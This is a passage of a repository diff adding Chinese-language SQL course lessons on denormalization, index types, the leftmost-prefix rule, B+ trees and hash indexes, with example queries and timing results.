ON p.user_id = u.user_id
|
||||
WHERE p.product_id = 10001
|
||||
ORDER BY p.comment_id DESC LIMIT 1000
|
||||
|
||||
```
|
||||
|
||||
运行结果(1000条数据行):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/18/ae/18b242e516e0e9ebd68ca7b7d1e1d9ae.png" alt=""><br>
|
||||
运行时长为0.395秒,查询效率并不高。
|
||||
|
||||
这是因为在实际生活中,我们在显示商品评论的时候,通常会显示这个用户的昵称,而不是用户ID,因此我们还需要关联product_comment和user这两张表来进行查询。当表数据量不大的时候,查询效率还好,但如果表数据量都超过了百万量级,查询效率就会变低。这是因为查询会在product_comment表和user表这两个表上进行聚集索引扫描,然后再嵌套循环,这样一来查询所耗费的时间就有几百毫秒甚至更多。对于网站的响应来说,这已经很慢了,用户体验会非常差。
|
||||
|
||||
如果我们想要提升查询的效率,可以允许适当的数据冗余,也就是在商品评论表中增加用户昵称字段,在product_comment数据表的基础上增加user_name字段,就得到了product_comment2数据表。
|
||||
|
||||
你可以在[百度网盘](https://pan.baidu.com/s/104t0vIlrA4nypu_PZIXG0w)中下载这三张数据表product_comment、product_comment2和user表,密码为n3l8。
|
||||
|
||||
这样一来,只需单表查询就可以得到数据集结果:
|
||||
|
||||
```
|
||||
SELECT comment_text, comment_time, user_name FROM product_comment2 WHERE product_id = 10001 ORDER BY comment_id DESC LIMIT 1000
|
||||
|
||||
```
|
||||
|
||||
运行结果(1000条数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/af/2c/af1be5874a9e20414de1ec48775e392c.png" alt=""><br>
|
||||
优化之后只需要扫描一次聚集索引即可,运行时间为0.039秒,查询时间是之前的1/10。 你能看到,在数据量大的情况下,查询效率会有显著的提升。
|
||||
|
||||
## 反范式存在的问题&适用场景
|
||||
|
||||
从上面的例子中可以看出,反范式可以通过空间换时间,提升查询的效率,但是反范式也会带来一些新问题。
|
||||
|
||||
在数据量小的情况下,反范式不能体现性能的优势,可能还会让数据库的设计更加复杂。比如采用存储过程来支持数据的更新、删除等额外操作,很容易增加系统的维护成本。
|
||||
|
||||
比如用户每次更改昵称的时候,都需要执行存储过程来更新,如果昵称更改频繁,会非常消耗系统资源。
|
||||
|
||||
那么反范式优化适用于哪些场景呢?
|
||||
|
||||
在现实生活中,我们经常需要一些冗余信息,比如订单中的收货人信息,包括姓名、电话和地址等。每次发生的订单收货信息都属于历史快照,需要进行保存,但用户可以随时修改自己的信息,这时保存这些冗余信息是非常有必要的。
|
||||
|
||||
当冗余信息有价值或者能大幅度提高查询效率的时候,我们就可以采取反范式的优化。
|
||||
|
||||
此外反范式优化也常用在数据仓库的设计中,因为数据仓库通常存储历史数据,对增删改的实时性要求不强,对历史数据的分析需求强。这时适当允许数据的冗余度,更方便进行数据分析。
|
||||
|
||||
我简单总结下数据仓库和数据库在使用上的区别:
|
||||
|
||||
1. 数据库设计的目的在于捕获数据,而数据仓库设计的目的在于分析数据;
|
||||
1. 数据库对数据的增删改实时性要求强,需要存储在线的用户数据,而数据仓库存储的一般是历史数据;
|
||||
1. 数据库设计需要尽量避免冗余,但为了提高查询效率也允许一定的冗余度,而数据仓库在设计上更偏向采用反范式设计。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们讲了BCNF,它是基于3NF进行的改进。你能看到设计范式越高阶,数据表就会越精细,数据的冗余度也就越少,在一定程度上可以让数据库在内部关联上更好地组织数据。但有时候我们也需要采用反范进行优化,通过空间来换取时间。
|
||||
|
||||
范式本身没有优劣之分,只有适用场景不同。没有完美的设计,只有合适的设计,我们在数据表的设计中,还需要根据需求将范式和反范式混合使用。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ac/fb/acbb07c269c85683cc981c7f677d32fb.jpg" alt=""><br>
|
||||
我们今天举了一个反范式设计的例子,你在工作中是否有做过反范式设计的例子?欢迎你在评论区与我们一起分享,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
202
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/23丨索引的概览:用还是不用索引,这是一个问题.md
Normal file
202
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/23丨索引的概览:用还是不用索引,这是一个问题.md
Normal file
@@ -0,0 +1,202 @@
|
||||
<audio id="audio" title="23丨索引的概览:用还是不用索引,这是一个问题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7f/0b/7fb9ac418c790c8e96c8c67c4681d30b.mp3"></audio>
|
||||
|
||||
提起优化SQL,你可能会把它理解为优化索引。简单来说这也不算错,索引在SQL优化中占了很大的比重。索引用得好,可以将SQL查询的效率提升10倍甚至更多。但索引是万能的吗?既然索引可以提升效率,只要创建索引不就好了吗?实际上,在有些情况下,创建索引反而会降低效率。
|
||||
|
||||
今天我们就来讲一下索引,索引涉及到的内容比较多,今天先来对索引有个整体的认知。
|
||||
|
||||
1. 什么情况下创建索引,什么时候不需要索引?
|
||||
1. 索引的种类有哪些?
|
||||
|
||||
索引的原理很好理解,在今天的内容里,我依然会通过SQL查询实验验证今天的内容,帮你进一步加深理解。
|
||||
|
||||
## 索引是万能的吗?
|
||||
|
||||
首先我们需要了解什么是索引(Index)。数据库中的索引,就好比一本书的目录,它可以帮我们快速进行特定值的定位与查找,从而加快数据查询的效率。
|
||||
|
||||
索引就是帮助数据库管理系统高效获取数据的数据结构。
|
||||
|
||||
如果我们不使用索引,就必须从第1条记录开始扫描,直到把所有的数据表都扫描完,才能找到想要的数据。既然如此,如果我们想要快速查找数据,就只需要创建更多的索引就好了呢?
|
||||
|
||||
其实**索引不是万能的,在有些情况下使用索引反而会让效率变低**。
|
||||
|
||||
索引的价值是帮我们从海量数据中找到想要的数据,如果数据量少,那么是否使用索引对结果的影响并不大。
|
||||
|
||||
在数据表中的数据行数比较少的情况下,比如不到1000行,是不需要创建索引的。另外,当数据重复度大,比如高于10%的时候,也不需要对这个字段使用索引。我之前讲到过,如果是性别这个字段,就不需要对它创建索引。这是为什么呢?如果你想要在100万行数据中查找其中的50万行(比如性别为男的数据),一旦创建了索引,你需要先访问50万次索引,然后再访问50万次数据表,这样加起来的开销比不使用索引可能还要大。
|
||||
|
||||
当然,空口无凭,我们来做两个实验,更直观地了解索引。
|
||||
|
||||
### 实验1:数据行数少的情况下,索引效率如何
|
||||
|
||||
我在[百度网盘](https://pan.baidu.com/s/1X47UAx6EWasYLLU91RYHKQ)上提供了数据表,heros_without_index.sql 和 heros_with_index.sql,提取码为wxho。
|
||||
|
||||
在第一个数据表中,除了自增的id以外没有建立额外的索引。第二张数据表中,我对name字段建立了唯一索引。
|
||||
|
||||
heros数据表一共有69个英雄,数据量很少。当我们对name进行条件查询的时候,我们观察一下创建索引前后的效率。
|
||||
|
||||
```
|
||||
SELECT id, name, hp_max, mp_max FROM heros_without_index WHERE name = '刘禅'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.072s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c5/e4/c5e0f02544f241d45ccac40e70a56be4.png" alt=""><br>
|
||||
我对name字段建立索引后,再进行查询:
|
||||
|
||||
```
|
||||
SELECT id, name, hp_max, mp_max FROM heros_with_index WHERE name = '刘禅'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.080s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/78/e8/782190bdc5120b40727fc8d28d9a35e8.png" alt=""><br>
|
||||
你能看到运行结果相同,但是创建了name字段索引的效率比没有创建索引时效率更低。在数据量不大的情况下,索引就发挥不出作用了。
|
||||
|
||||
### 实验2:性别(男或女)字段真的不应该创建索引吗?
|
||||
|
||||
如果一个字段的取值少,比如性别这个字段,通常是不需要创建索引的。那么有没有特殊的情况呢?
|
||||
|
||||
下面我们来看一个例子,假设有一个女儿国,人口总数为100万人,男性只有10个人,也就是占总人口的10万分之1。
|
||||
|
||||
女儿国的人口数据表user_gender见百度网盘中的user_gender.sql。其中数据表中的user_gender字段取值为0或1,0代表女性,1代表男性。
|
||||
|
||||
如果我们要筛选出这个国家中的男性,可以使用:
|
||||
|
||||
```
|
||||
SELECT * FROM user_gender WHERE user_gender = 1
|
||||
|
||||
```
|
||||
|
||||
运行结果(10条数据,运行时间0.696s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/34/b4/34355803b19fb7f460cf0aad1d8bf2b4.png" alt=""><br>
|
||||
你能看到在未创建索引的情况下,运行的效率并不高。如果我们针对user_gender字段创建索引呢?
|
||||
|
||||
```
|
||||
SELECT * FROM user_gender WHERE user_gender = 1
|
||||
|
||||
```
|
||||
|
||||
同样是10条数据,运行结果相同,时间却缩短到了0.052s,大幅提升了查询的效率。
|
||||
|
||||
其实通过这两个实验你也能看出来,索引的价值是帮你快速定位。如果想要定位的数据有很多,那么索引就失去了它的使用价值,比如通常情况下的性别字段。不过有时候,我们还要考虑这个字段中的数值分布的情况,在实验2中,性别字段的数值分布非常特殊,男性的比例非常少。
|
||||
|
||||
我们不仅要看字段中的数值个数,还要根据数值的分布情况来考虑是否需要创建索引。
|
||||
|
||||
## 索引的种类有哪些?
|
||||
|
||||
虽然使用索引的本质目的是帮我们快速定位想要查找的数据,但实际上,索引有很多种类。
|
||||
|
||||
从功能逻辑上说,索引主要有4种,分别是普通索引、唯一索引、主键索引和全文索引。
|
||||
|
||||
普通索引是基础的索引,没有任何约束,主要用于提高查询效率。唯一索引就是在普通索引的基础上增加了数据唯一性的约束,在一张数据表里可以有多个唯一索引。主键索引在唯一索引的基础上增加了不为空的约束,也就是NOT NULL+UNIQUE,一张表里最多只有一个主键索引。全文索引用的不多,MySQL自带的全文索引只支持英文。我们通常可以采用专门的全文搜索引擎,比如ES(ElasticSearch)和Solr。
|
||||
|
||||
其实前三种索引(普通索引、唯一索引和主键索引)都是一类索引,只不过对数据的约束性逐渐提升。在一张数据表中只能有一个主键索引,这是由主键索引的物理实现方式决定的,因为数据存储在文件中只能按照一种顺序进行存储。但可以有多个普通索引或者多个唯一索引。
|
||||
|
||||
按照物理实现方式,索引可以分为2种:聚集索引和非聚集索引。我们也把非聚集索引称为二级索引或者辅助索引。
|
||||
|
||||
聚集索引可以按照主键来排序存储数据,这样在查找行的时候非常有效。举个例子,如果是一本汉语字典,我们想要查找“数”这个字,直接在书中找汉语拼音的位置即可,也就是拼音“shu”。这样找到了索引的位置,在它后面就是我们想要找的数据行。
|
||||
|
||||
非聚集索引又是什么呢?
|
||||
|
||||
在数据库系统会有单独的存储空间存放非聚集索引,这些索引项是按照顺序存储的,但索引项指向的内容是随机存储的。也就是说系统会进行两次查找,第一次先找到索引,第二次找到索引对应的位置取出数据行。非聚集索引不会把索引指向的内容像聚集索引一样直接放到索引的后面,而是维护单独的索引表(只维护索引,不维护索引指向的数据),为数据检索提供方便。我们还以汉语字典为例,如果想要查找“数”字,那么按照部首查找的方式,先找到“数”字的偏旁部首,然后这个目录会告诉我们“数”字存放到第多少页,我们再去指定的页码找这个字。
|
||||
|
||||
聚集索引指表中数据行按索引的排序方式进行存储,对查找行很有效。只有当表包含聚集索引时,表内的数据行才会按找索引列的值在磁盘上进行物理排序和存储。每一个表只能有一个聚集索引,因为数据行本身只能按一个顺序存储。
|
||||
|
||||
聚集索引与非聚集索引的原理不同,在使用上也有一些区别:
|
||||
|
||||
1. 聚集索引的叶子节点存储的就是我们的数据记录,非聚集索引的叶子节点存储的是数据位置。非聚集索引不会影响数据表的物理存储顺序。
|
||||
1. 一个表只能有一个聚集索引,因为只能有一种排序存储的方式,但可以有多个非聚集索引,也就是多个索引目录提供数据检索。
|
||||
1. 使用聚集索引的时候,数据的查询效率高,但如果对数据进行插入,删除,更新等操作,效率会比非聚集索引低。
|
||||
|
||||
### 实验3:使用聚集索引和非聚集索引的查询效率
|
||||
|
||||
还是针对刚才的user_gender数据表,我们来看下使用聚集索引和非聚集索引的查询效率有什么区别。在user_gender表中,我设置了user_id为主键,也就是聚集索引的字段是user_id。这里我们查询下user_id=90001的用户信息:
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_id = 900001
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.043s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6a/d1/6a9d1c1ab9315f2c77b81799f08b6ed1.png" alt=""><br>
|
||||
我们再直接对user_name字段进行条件查询,此时user_name字段没有创建索引:
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_name = 'student_890001'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.961s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/81/a0/817979acbd125773405604b8e86d06a0.png" alt=""><br>
|
||||
你能看出对没有建立索引的字段进行条件查询,查询效率明显降低了。
|
||||
|
||||
然后我们对user_name字段创建普通索引,进行SQL查询:
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_name = 'student_890001'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.050s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9f/0f/9f6be9d6ebeff6e574687923085a670f.png" alt=""><br>
|
||||
通过对这3次SQL查询结果的对比,我们可以总结出以下两点内容:
|
||||
|
||||
1. 对WHERE子句的字段建立索引,可以大幅提升查询效率。
|
||||
1. 采用聚集索引进行数据查询,比使用非聚集索引的查询效率略高。如果查询次数比较多,还是尽量使用主键索引进行数据查询。
|
||||
|
||||
除了业务逻辑和物理实现方式,索引还可以按照字段个数进行划分,分成单一索引和联合索引。
|
||||
|
||||
索引列为一列时为单一索引;多个列组合在一起创建的索引叫做联合索引。
|
||||
|
||||
创建联合索引时,我们需要注意创建时的顺序问题,因为联合索引(x, y, z)和(z, y, x)在使用的时候效率可能会存在差别。
|
||||
|
||||
这里需要说明的是联合索引存在**最左匹配原则**,也就是按照最左优先的方式进行索引的匹配。比如刚才举例的(x, y, z),如果查询条件是WHERE x=1 AND y=2 AND z=3,就可以匹配上联合索引;如果查询条件是 WHERE y=2,就无法匹配上联合索引。
|
||||
|
||||
### 实验4:联合索引的最左原则
|
||||
|
||||
还是针对user_gender数据表,我们把user_id和user_name字段设置为联合主键,然后看下SQL查询效率有什么区别。
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_id = 900001 AND user_name = 'student_890001'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.046s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/70/7d/704d1018a33b819828c879eb983f2f7d.png" alt="">
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_id = 900001
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.046s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cc/e6/cc709a46717a58e22d25a2556b8fdee6.png" alt=""><br>
|
||||
我们再来看下普通的条件查询是什么样子的:
|
||||
|
||||
```
|
||||
SELECT user_id, user_name, user_gender FROM user_gender WHERE user_name = 'student_890001'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.943s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cc/e6/cc709a46717a58e22d25a2556b8fdee6.png" alt=""><br>
|
||||
你能看到当我们使用了联合索引(user_id, user_name)的时候,在WHERE子句中对联合索引中的字段user_id和user_name进行条件查询,或者只对user_id进行查询,效率基本上是一样的。当我们对user_name进行条件查询时,效率就会降低很多,这是因为根据联合索引的最左原则,user_id在user_name的左侧,如果没有使用user_id,而是直接使用user_name进行条件查询,联合索引就会失效。
|
||||
|
||||
## 总结
|
||||
|
||||
使用索引可以帮助我们从海量的数据中快速定位想要查找的数据,不过索引也存在一些不足,比如占用存储空间、降低数据库写操作的性能等,如果有多个索引还会增加索引选择的时间。当我们使用索引时,需要平衡索引的利(提升查询效率)和弊(维护索引所需的代价)。
|
||||
|
||||
在实际工作中,我们还需要基于需求和数据本身的分布情况来确定是否使用索引,尽管索引不是万能的,但数据量大的时候不使用索引是不可想象的,毕竟索引的本质,是帮助我们提升数据检索的效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7c/57/7c46394b6a09ba83befe2d18e466c957.jpg" alt=""><br>
|
||||
今天的内容到这里就结束了,给你留个问题。关于联合索引的最左原则指的是什么?在使用联合索引时,有哪些需要注意的地方呢?
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
113
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/24丨索引的原理:我们为什么用B+树来做索引?.md
Normal file
113
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/24丨索引的原理:我们为什么用B+树来做索引?.md
Normal file
@@ -0,0 +1,113 @@
|
||||
<audio id="audio" title="24丨索引的原理:我们为什么用B+树来做索引?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/4b/31/4beb84455d0574fa7370522f05e19c31.mp3"></audio>
|
||||
|
||||
上节课我讲到了索引的作用,是否需要建立索引,以及建立什么样的索引,需要我们根据实际情况进行选择。我之前说过,索引其实就是一种数据结构,那么今天我们就来看下,索引的数据结构究竟是怎样的?对索引底层的数据结构有了更深入的了解后,就会更了解索引的使用原则。
|
||||
|
||||
今天的文章内容主要包括下面几个部分:
|
||||
|
||||
1. 为什么索引要存放到硬盘上?如何评价索引的数据结构设计的好坏?
|
||||
1. 使用平衡二叉树作为索引的数据结构有哪些不足?
|
||||
1. B树和B+树的结构是怎样的?为什么我们常用B+树作为索引的数据结构?
|
||||
|
||||
## 如何评价索引的数据结构设计好坏
|
||||
|
||||
数据库服务器有两种存储介质,分别为硬盘和内存。内存属于临时存储,容量有限,而且当发生意外时(比如断电或者发生故障重启)会造成数据丢失;硬盘相当于永久存储介质,这也是为什么我们需要把数据保存到硬盘上。
|
||||
|
||||
虽然内存的读取速度很快,但我们还是需要将索引存放到硬盘上,这样的话,当我们在硬盘上进行查询时,也就产生了硬盘的I/O操作。相比于内存的存取来说,硬盘的I/O存取消耗的时间要高很多。我们通过索引来查找某行数据的时候,需要计算产生的磁盘I/O次数,当磁盘I/O次数越多,所消耗的时间也就越大。如果我们能让索引的数据结构尽量减少硬盘的I/O操作,所消耗的时间也就越小。
|
||||
|
||||
## 二叉树的局限性
|
||||
|
||||
二分查找法是一种高效的数据检索方式,时间复杂度为O(log2n),是不是采用二叉树就适合作为索引的数据结构呢?
|
||||
|
||||
我们先来看下最基础的二叉搜索树(Binary Search Tree),搜索某个节点和插入节点的规则一样,我们假设搜索插入的数值为key:
|
||||
|
||||
1. 如果key大于根节点,则在右子树中进行查找;
|
||||
1. 如果key小于根节点,则在左子树中进行查找;
|
||||
1. 如果key等于根节点,也就是找到了这个节点,返回根节点即可。
|
||||
|
||||
举个例子,我们对数列(34,22,89,5,23,77,91)创造出来的二分查找树如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/19/69/19dedac56fdba8e7119352e84eb7af69.jpg" alt=""><br>
|
||||
但是存在特殊的情况,就是有时候二叉树的深度非常大。比如我们给出的数据顺序是(5, 22, 23, 34, 77, 89, 91),创造出来的二分搜索树如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ae/33/aedbdcc05f4a05177f1b599a59581133.jpg" alt=""><br>
|
||||
你能看出来第一个树的深度是3,也就是说最多只需3次比较,就可以找到节点,而第二个树的深度是7,最多需要7次比较才能找到节点。
|
||||
|
||||
第二棵树也属于二分查找树,但是性能上已经退化成了一条链表,查找数据的时间复杂度变成了O(n)。为了解决这个问题,人们提出了平衡二叉搜索树(AVL树),它在二分搜索树的基础上增加了约束,每个节点的左子树和右子树的高度差不能超过1,也就是说节点的左子树和右子树仍然为平衡二叉树。
|
||||
|
||||
这里说一下,常见的平衡二叉树有很多种,包括了平衡二叉搜索树、红黑树、数堆、伸展树。平衡二叉搜索树是最早提出来的自平衡二叉搜索树,当我们提到平衡二叉树时一般指的就是平衡二叉搜索树。事实上,第一棵树就属于平衡二叉搜索树,搜索时间复杂度就是O(log2n)。
|
||||
|
||||
我刚才提到过,数据查询的时间主要依赖于磁盘I/O的次数,如果我们采用二叉树的形式,即使通过平衡二叉搜索树进行了改进,树的深度也是O(log2n),当n比较大时,深度也是比较高的,比如下图的情况:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/78/ea/78154f20220d6fedb95ebbac61bd5cea.jpg" alt=""><br>
|
||||
每访问一次节点就需要进行一次磁盘I/O操作,对于上面的树来说,我们需要进行5次I/O操作。虽然平衡二叉树比较的效率高,但是树的深度也同样高,这就意味着磁盘I/O操作次数多,会影响整体数据查询的效率。
|
||||
|
||||
针对同样的数据,如果我们把二叉树改成M叉树(M>2)呢?当M=3时,同样的31个节点可以由下面的三叉树来进行存储:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/64/c4/6458c1f525befd735d3ce420b10729c4.jpg" alt=""><br>
|
||||
你能看到此时树的高度降低了,当数据量N大的时候,以及树的分叉数M大的时候,M叉树的高度会远小于二叉树的高度。
|
||||
|
||||
## 什么是B树
|
||||
|
||||
如果用二叉树作为索引的实现结构,会让树变得很高,增加硬盘的I/O次数,影响数据查询的时间。因此一个节点就不能只有2个子节点,而应该允许有M个子节点(M>2)。
|
||||
|
||||
B树的出现就是为了解决这个问题,B树的英文是Balance Tree,也就是平衡的多路搜索树,它的高度远小于平衡二叉树的高度。在文件系统和数据库系统中的索引结构经常采用B树来实现。
|
||||
|
||||
B树的结构如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/18/44/18031c20f9a4be3e858743ed99f3c144.jpg" alt=""><br>
|
||||
B树作为平衡的多路搜索树,它的每一个节点最多可以包括M个子节点,M称为B树的阶。同时你能看到,每个磁盘块中包括了关键字和子节点的指针。如果一个磁盘块中包括了x个关键字,那么指针数就是x+1。对于一个100阶的B树来说,如果有3层的话最多可以存储约100万的索引数据。对于大量的索引数据来说,采用B树的结构是非常适合的,因为树的高度要远小于二叉树的高度。
|
||||
|
||||
一个M阶的B树(M>2)有以下的特性:
|
||||
|
||||
1. 根节点的儿子数的范围是[2,M]。
|
||||
1. 每个中间节点包含k-1个关键字和k个孩子,孩子的数量=关键字的数量+1,k的取值范围为[ceil(M/2), M]。
|
||||
1. 叶子节点包括k-1个关键字(叶子节点没有孩子),k的取值范围为[ceil(M/2), M]。
|
||||
1. 假设中间节点节点的关键字为:Key[1], Key[2], …, Key[k-1],且关键字按照升序排序,即Key[i]<Key[i+1]。此时k-1个关键字相当于划分了k个范围,也就是对应着k个指针,即为:P[1], P[2], …, P[k],其中P[1]指向关键字小于Key[1]的子树,P[i]指向关键字属于(Key[i-1], Key[i])的子树,P[k]指向关键字大于Key[k-1]的子树。
|
||||
1. 所有叶子节点位于同一层。
|
||||
|
||||
上面那张图所表示的B树就是一棵3阶的B树。我们可以看下磁盘块2,里面的关键字为(8,12),它有3个孩子(3,5),(9,10) 和 (13,15),你能看到(3,5)小于8,(9,10)在8和12之间,而(13,15)大于12,刚好符合刚才我们给出的特征。
|
||||
|
||||
然后我们来看下如何用B树进行查找。假设我们想要查找的关键字是9,那么步骤可以分为以下几步:
|
||||
|
||||
1. 我们与根节点的关键字(17,35)进行比较,9小于17那么得到指针P1;
|
||||
1. 按照指针P1找到磁盘块2,关键字为(8,12),因为9在8和12之间,所以我们得到指针P2;
|
||||
1. 按照指针P2找到磁盘块6,关键字为(9,10),然后我们找到了关键字9。
|
||||
|
||||
你能看出来在B树的搜索过程中,我们比较的次数并不少,但如果把数据读取出来然后在内存中进行比较,这个时间就是可以忽略不计的。而读取磁盘块本身需要进行I/O操作,消耗的时间比在内存中进行比较所需要的时间要多,是数据查找用时的重要因素,B树相比于平衡二叉树来说磁盘I/O操作要少,在数据查询中比平衡二叉树效率要高。
|
||||
|
||||
### 什么是B+树
|
||||
|
||||
B+树基于B树做出了改进,主流的DBMS都支持B+树的索引方式,比如MySQL。B+树和B树的差异在于以下几点:
|
||||
|
||||
1. 有 k 个孩子的节点就有k个关键字。也就是孩子数量=关键字数,而B树中,孩子数量=关键字数+1。
|
||||
1. 非叶子节点的关键字也会同时存在在子节点中,并且是在子节点中所有关键字的最大(或最小)。
|
||||
1. 非叶子节点仅用于索引,不保存数据记录,跟记录有关的信息都放在叶子节点中。而B树中,非叶子节点既保存索引,也保存数据记录。
|
||||
1. 所有关键字都在叶子节点出现,叶子节点构成一个有序链表,而且叶子节点本身按照关键字的大小从小到大顺序链接。
|
||||
|
||||
下图就是一棵B+树,阶数为3,根节点中的关键字1、18、35分别是子节点(1,8,14),(18,24,31)和(35,41,53)中的最小值。每一层父节点的关键字都会出现在下一层的子节点的关键字中,因此在叶子节点中包括了所有的关键字信息,并且每一个叶子节点都有一个指向下一个节点的指针,这样就形成了一个链表。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/55/32/551171d94a69fbbfc00889f8b1f45932.jpg" alt=""><br>
|
||||
比如,我们想要查找关键字16,B+树会自顶向下逐层进行查找:
|
||||
|
||||
1. 与根节点的关键字(1,18,35)进行比较,16在1和18之间,得到指针P1(指向磁盘块2)
|
||||
1. 找到磁盘块2,关键字为(1,8,14),因为16大于14,所以得到指针P3(指向磁盘块7)
|
||||
1. 找到磁盘块7,关键字为(14,16,17),然后我们找到了关键字16,所以可以找到关键字16所对应的数据。
|
||||
|
||||
整个过程一共进行了3次I/O操作,看起来B+树和B树的查询过程差不多,但是B+树和B树有个根本的差异在于,B+树的中间节点并不直接存储数据。这样的好处都有什么呢?
|
||||
|
||||
首先,B+树查询效率更稳定。因为B+树每次只有访问到叶子节点才能找到对应的数据,而在B树中,非叶子节点也会存储数据,这样就会造成查询效率不稳定的情况,有时候访问到了非叶子节点就可以找到关键字,而有时需要访问到叶子节点才能找到关键字。
|
||||
|
||||
其次,B+树的查询效率更高,这是因为通常B+树比B树更矮胖(阶数更大,深度更低),查询所需要的磁盘I/O也会更少。同样的磁盘页大小,B+树可以存储更多的节点关键字。
|
||||
|
||||
不仅是对单个关键字的查询上,在查询范围上,B+树的效率也比B树高。这是因为所有关键字都出现在B+树的叶子节点中,并通过有序链表进行了链接。而在B树中则需要通过中序遍历才能完成查询范围的查找,效率要低很多。
|
||||
|
||||
## 总结
|
||||
|
||||
磁盘的I/O操作次数对索引的使用效率至关重要。虽然传统的二叉树数据结构查找数据的效率高,但很容易增加磁盘I/O操作的次数,影响索引使用的效率。因此在构造索引的时候,我们更倾向于采用“矮胖”的数据结构。
|
||||
|
||||
B树和B+树都可以作为索引的数据结构,在MySQL中采用的是B+树,B+树在查询性能上更稳定,在磁盘页大小相同的情况下,树的构造更加矮胖,所需要进行的磁盘I/O次数更少,更适合进行关键字的范围查询。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/92/90/922bfe97e007d24f4467f5af4e1a0790.jpg" alt=""><br>
|
||||
今天我们对索引的底层数据结构进行了学习,你能说下为什么数据库索引采用B+树,而不是平衡二叉搜索树吗?另外,B+树和B树在构造和查询性能上有什么差异呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
107
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/25丨Hash索引的底层原理是什么?.md
Normal file
107
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/25丨Hash索引的底层原理是什么?.md
Normal file
@@ -0,0 +1,107 @@
|
||||
<audio id="audio" title="25丨Hash索引的底层原理是什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/05/c5/05fb7f595c3c71cb071d442e8d43bfc5.mp3"></audio>
|
||||
|
||||
我们上节课讲解了B+树的原理,今天我们来学习下Hash的原理和使用。Hash本身是一个函数,又被称为散列函数,它可以帮助我们大幅提升检索数据的效率。打个比方,Hash就好像一个智能前台,你只要告诉它想要查找的人的姓名,它就会告诉你那个人坐在哪个位置,只需要一次交互就可以完成查找,效率非常高。大名鼎鼎的MD5就是Hash函数的一种。
|
||||
|
||||
Hash算法是通过某种确定性的算法(比如MD5、SHA1、SHA2、SHA3)将输入转变为输出。相同的输入永远可以得到相同的输出,假设输入内容有微小偏差,在输出中通常会有不同的结果。如果你想要验证两个文件是否相同,那么你不需要把两份文件直接拿来比对,只需要让对方把Hash函数计算得到的结果告诉你即可,然后在本地同样对文件进行Hash函数的运算,最后通过比较这两个Hash函数的结果是否相同,就可以知道这两个文件是否相同。
|
||||
|
||||
Hash可以高效地帮我们完成验证的工作,它在数据库中有广泛的应用。今天的课程主要包括下面几个部分:
|
||||
|
||||
1. 动手写程序统计一下Hash检索的效率。
|
||||
1. 了解MySQL中的Hash索引,理解使用它的优点和不足。
|
||||
1. Hash索引和B+树索引的区别以及使用场景。
|
||||
|
||||
## 动手统计Hash检索效率
|
||||
|
||||
我们知道Python的数据结构中有数组和字典两种,其中数组检索数据类似于全表扫描,需要对整个数组的内容进行检索;而字典是由Hash表实现的,存储的是key-value值,对于数据检索来说效率非常快。
|
||||
|
||||
对于Hash的检索效率,我们来个更直观的认知。下面我们分别看一下采用数组检索数据和采用字典(Hash)检索数据的效率到底有怎样的差别。
|
||||
|
||||
实验1:在数组中添加10000个元素,然后分别对这10000个元素进行检索,最后统计检索的时间。
|
||||
|
||||
代码如下:
|
||||
|
||||
```
|
||||
import time
|
||||
# 插入数据
|
||||
result = []
|
||||
for i in range(10000):
|
||||
result.append(i)
|
||||
# 检索数据
|
||||
time_start=time.time()
|
||||
for i in range(10000):
|
||||
temp = result.index(i)
|
||||
time_end=time.time()
|
||||
print('检索时间', time_end-time_start)
|
||||
|
||||
```
